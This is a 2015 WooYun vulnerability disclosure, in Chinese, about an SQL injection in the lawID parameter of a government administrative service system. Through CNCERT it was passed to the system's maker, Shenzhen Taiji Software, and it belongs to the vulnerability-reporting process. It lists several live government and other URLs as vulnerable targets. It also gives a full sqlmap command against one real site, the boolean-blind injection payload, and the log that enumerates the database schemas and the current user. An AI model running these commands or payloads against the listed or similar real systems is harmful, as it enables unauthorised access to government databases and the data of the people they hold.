当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101649

漏洞标题:某gov在用行政服务系统某处SQL注入(Oracle数据库)

相关厂商:深圳太极软件有限公司

漏洞作者: 路人甲

提交时间:2015-03-17 15:06

修复时间:2015-06-15 16:04

公开时间:2015-06-15 16:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商已经确认,细节仅向厂商公开
2015-03-20: 细节向第三方安全合作伙伴开放
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

RT

详细说明:

其他注入点,如:
WooYun: 某大型政府服务系统Oracle注入(使用量大)
WooYun: 某Gov行政中心系统Oracle注入漏洞(使用量大)
WooYun: 某gov行政服务系统Oracle数据库搜索型POST注入
这处注入出在:lawquery.do?lawID=0006&method=queryDetailLaw
lasID存在注入
目前wooyun上还没人提交,如图搜索结果:

0315_2.png


按照通用程序标准(案例+演示),部分案例如下:
http://www.gxyq.cn/query/law/lawquery.do?lawID=0006&method=queryDetailLaw
http://jc.dlxg.gov.cn/LawQuery.do?method=querylawinfobyid&type=0&lawid=890999
http://www.hidyw.com/query/law/lawquery.do?method=queryDetailLaw&lawID=FZSJ2006001
http://221.7.244.26/query/law/lawquery.do?lawID=0003&method=queryDetailLaw
http://www.jzsxzxndzjcw.gov.cn/LawQuery.do?method=querylawinfobyid&lawid=889723
http://119.1.108.246/LawQuery.do?method=query&type=1&lawid=0001
http://www.shad.gov.cn/alc/lawQuery.do?method=query&lawid=0001
http://jc.dlxg.gov.cn/LawQuery.do?method=querylawinfobyid&type=2&lawid=890883
...
暂时就先统计这么多。。。
演示见漏洞证明

漏洞证明:

拿其中一个案例进行演示:
http://www.gxyq.cn/query/law/lawquery.do?lawID=0006&method=queryDetailLaw
直接工具跑:

0315_1.png


0315_3.png


数据库:

0315_4.png


available databases [22]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SISS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB


当前用户:

current user:    'SISS'


当前数据库:

current schema (equivalent to database on Oracle):    'SISS'


其他数据不跑了。。。
贴出sqlmap记录吧,以做验证:

sqlmap.py -u "http://www.gxyq.cn/query/law/lawquery.do?lawID=
0006&method=queryDetailLaw" -p lawID --thread 6 --dbs --is-dba --current-db --cu
rrent-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:54:05
[12:54:05] [INFO] resuming back-end DBMS 'oracle'
[12:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: lawID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lawID=0006' AND 2127=2127 AND 'YhDA'='YhDA&method=queryDetailLaw
---
[12:54:06] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[12:54:06] [INFO] fetching current user
[12:54:06] [INFO] retrieving the length of query output
[12:54:06] [INFO] retrieved: 4
[12:54:09] [INFO] retrieved: SISS
current user: 'SISS'
[12:54:09] [INFO] fetching current database
[12:54:09] [INFO] retrieving the length of query output
[12:54:09] [INFO] resumed: 4
[12:54:09] [INFO] resumed: SISS
current schema (equivalent to database on Oracle): 'SISS'
[12:54:09] [INFO] testing if current user is DBA
current user is DBA: False
[12:54:09] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[12:54:09] [INFO] fetching database (schema) names
[12:54:09] [INFO] fetching number of databases
[12:54:09] [INFO] retrieving the length of query output
[12:54:09] [INFO] retrieved: 2
[12:54:49] [INFO] retrieved: 22
[12:54:49] [INFO] retrieving the length of query output
[12:54:49] [INFO] retrieved: 6
[12:55:11] [INFO] retrieved: CTXSYS
[12:55:11] [INFO] retrieving the length of query output
[12:55:11] [INFO] retrieved: 6
[12:55:34] [INFO] retrieved: DBSNMP
[12:55:34] [INFO] retrieving the length of query output
[12:55:34] [INFO] retrieved: 5
[12:55:57] [INFO] retrieved: DMSYS
[12:55:57] [INFO] retrieving the length of query output
[12:55:57] [INFO] retrieved: 6
[12:56:36] [INFO] retrieved: EXFSYS
[12:56:36] [INFO] retrieving the length of query output
[12:56:36] [INFO] retrieved: 2
[12:57:03] [INFO] retrieved: HR
[12:57:03] [INFO] retrieving the length of query output
[12:57:03] [INFO] retrieved: 2
[12:57:26] [INFO] retrieved: IX
[12:57:26] [INFO] retrieving the length of query output
[12:57:26] [INFO] retrieved: 5
[12:57:53] [INFO] retrieved: MDSYS
[12:57:53] [INFO] retrieving the length of query output
[12:57:53] [INFO] retrieved: 2
[12:58:23] [INFO] retrieved: OE
[12:58:23] [INFO] retrieving the length of query output
[12:58:23] [INFO] retrieved: 7
[12:59:16] [INFO] retrieved: OLAPSYS
[12:59:16] [INFO] retrieving the length of query output
[12:59:16] [INFO] retrieved: 6
[12:59:51] [INFO] retrieved: ORDSYS
[12:59:51] [INFO] retrieving the length of query output
[12:59:51] [INFO] retrieved: 5
[13:00:34] [INFO] retrieved: OUTLN
[13:00:34] [INFO] retrieving the length of query output
[13:00:34] [INFO] retrieved: 2
[13:01:22] [INFO] retrieved: PM
[13:01:22] [INFO] retrieving the length of query output
[13:01:22] [INFO] retrieved: 5
[13:01:48] [INFO] retrieved: SCOTT
[13:01:48] [INFO] retrieving the length of query output
[13:01:48] [INFO] retrieved: 2
[13:02:14] [INFO] retrieved: SH
[13:02:14] [INFO] retrieving the length of query output
[13:02:14] [INFO] retrieved: 4
[13:02:39] [INFO] retrieved: SISS
[13:02:39] [INFO] retrieving the length of query output
[13:02:39] [INFO] retrieved: 3
[13:03:08] [INFO] retrieved: SYS
[13:03:08] [INFO] retrieving the length of query output
[13:03:08] [INFO] retrieved: 6
[13:03:37] [INFO] retrieved: SYSMAN
[13:03:37] [INFO] retrieving the length of query output
[13:03:37] [INFO] retrieved: 6
[13:03:56] [INFO] retrieved: SYSTEM
[13:03:56] [INFO] retrieving the length of query output
[13:03:56] [INFO] retrieved: 5
[13:04:46] [INFO] retrieved: WKSYS
[13:04:46] [INFO] retrieving the length of query output
[13:04:46] [INFO] retrieved: 7
[13:05:46] [INFO] retrieved: WK_TEST
[13:05:46] [INFO] retrieving the length of query output
[13:05:46] [INFO] retrieved: 5
[13:06:07] [INFO] retrieved: WMSYS
[13:06:07] [INFO] retrieving the length of query output
[13:06:07] [INFO] retrieved: 3
[13:06:27] [INFO] retrieved: XDB
available databases [22]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SISS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB
[13:06:27] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.gxyq.cn'
[*] shutting down at 13:06:27

修复方案:

1、过滤
2、WAF

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-03-17 16:02

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无